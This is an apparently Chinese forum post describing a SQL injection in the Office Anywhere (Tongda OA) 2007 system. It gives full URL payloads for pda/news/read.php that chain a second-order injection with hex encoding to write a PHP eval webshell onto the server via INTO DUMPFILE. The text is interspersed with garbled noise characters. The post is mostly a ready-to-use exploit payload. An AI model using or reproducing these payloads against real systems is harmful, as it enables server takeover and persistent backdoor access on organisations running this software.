通达OA2007版本漏洞及getshell

admin

目前测试通达OA2007版本
3 M! }. \. q0 {- K  r
5 d) a8 ]7 M% {) G9 |& n
' d) _# @1 O) V9 D( `# iOffice Anywhere 2007 网络智能办公系统

http://127.0.0.1/pda/news/read.php?P=%cf'    猪点。   暴web目录..
2 T# J% `7 C. v2 V1 T% f

$ P0 ~/ D$ Z2 U" j( B" W- }7 ~这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
/ k% |& _# ^2 k6 v2 ?: q! X
例如：SELECT * from USER where USER_ID='{$USERNAME}'  
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了

* J+ C" [! N& z. O" y* I) |这个时候我们是不是可以组合起来使用哪？

! m2 d! \$ Z7 [第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
  @1 y6 L* T0 A1 N$ o+ l* L& nunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
# a, L) Q4 F% ~. |, u
! i+ f( k! f7 Z! F) M  u这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了
8 ^/ h/ ]; d; w* U6 |
% ~1 c  F1 b4 Q* t1 [3 x那么问题来了，单引号可以吗？当然是不可以的，^_^。。。

那么我们用字符串格式带入进行hex编码
  F1 m* F: Y$ B3 x; y# U& Z4 T  H
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
: s; t6 Y- g; d* {
: X2 X! o9 N2 e  v$ ~3 m/ e# [, z测试ok，获取oa的webshell
1 o* F/ g3 n+ @, B* }4 K0 [
5 U! k- j- |. p! `4 e. M% [
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
直接getwebshell